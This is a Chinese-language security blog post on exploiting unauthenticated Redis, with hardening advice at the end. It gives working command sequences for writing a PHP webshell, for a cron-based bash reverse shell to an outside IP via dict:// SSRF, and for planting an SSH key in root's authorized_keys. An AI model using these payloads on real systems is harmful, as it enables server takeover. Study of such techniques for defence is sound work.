Redis漏洞

发布于 2022-04-11  234 次阅读


Redis未授权访问

redis未授权访问是一个因配置导致的漏洞,不需要使用密码则可以访问该redis组件,常见的redis只能在内网访问,所以该漏洞通常和ssrf组合

Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器

针对redis弱密码也可以进行爆破

redis写webshell

当redis权限不高,但是该主机有web服务,redis有权限向web目录写入文件,并且知晓web物理路径时,可以写入webshell

47.118.40.97:6379> config set dir /var/www/html/
OK
47.118.40.97:6379> config set dbfilename shell.php
OK
47.118.40.97:6379> set x "<?php phpinfo();?>"
OK
47.118.40.97:6379> save
OK

浏览器访问shell.php发现输出php信息

redis写任务计划

当redis 以root权限进入,可以写任务计划,进行反弹shell

# 清空 key
dict://172.72.23.27:6379/flushall
# 设置要操作的路径为定时任务目录
dict://172.72.23.27:6379/config set dir /var/spool/cron/
# 在定时任务目录下创建 root 的定时任务文件
dict://172.72.23.27:6379/config set dbfilename root
# 写入 Bash 反弹 shell 的 payload
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/47.118.40.97/2333 0>%261\n"
# 保存上述操作
dict://172.72.23.27:6379/save

监听相应端口即可得到shell,公网服务器要在控制台添加相应端口的安全组规则才可以监听到

image-20220411102959450

redis 写 ssh-keygen 公钥

当redis 以root权限进入,并且开放了ssh服务,允许使用密钥登录

ssh有两种登录方式一种是账号密码登录,一种是密钥登录

攻击机生成密钥

root@kali:~/.ssh# ssh-keygen -t rsa

靶机中的redis:

47.118.40.97:6379> config set dir /root/.ssh/
OK
47.118.40.97:6379> config set dbfilename authorized_keys
OK
47.118.40.97:6379> set x "\n\n\nssh-rsa 
id_rsa中的内容 root@kali\n\n\n"
OK
47.118.40.97:6379> save
OK

image-20220411103844155

image-20220411103859177

然后使用公钥登陆ssh即可

ssh -i id_rsa root@靶机地址

Redis加固

网络层

redis服务仅监听内网地址(127.0.0.1、该机内网ip),不准从外网进入,设置防火墙策略(只允许其他几台必要的服务器访问)

账号安全

添加密码,并且保证复杂度,在 redis.conf 中找到 requirepass 字段,去掉其注释,并在后面填上需要的密码

服务运行权限最小化

修改运行redis的账号(以较低权限账号运行)

隐藏重要命令

redis无分管理员、普通账户,权限分离等,因此只要登上redis就可以使用所有命令,所以可以隐藏或者修改重要的操作命令。

下述配置将config/flushdb/flushall设置为空,即禁用该命令;也可命名一些攻击者难以猜解的名字。

rename-command CONFIG “”
rename-command flushall “”
rename-command flushdb “”
rename-command shutdown

shotdown_test保存后,执行/etc/init.d/redis-server restart重启生效

Daniel_WRF
最后更新于 2023-09-22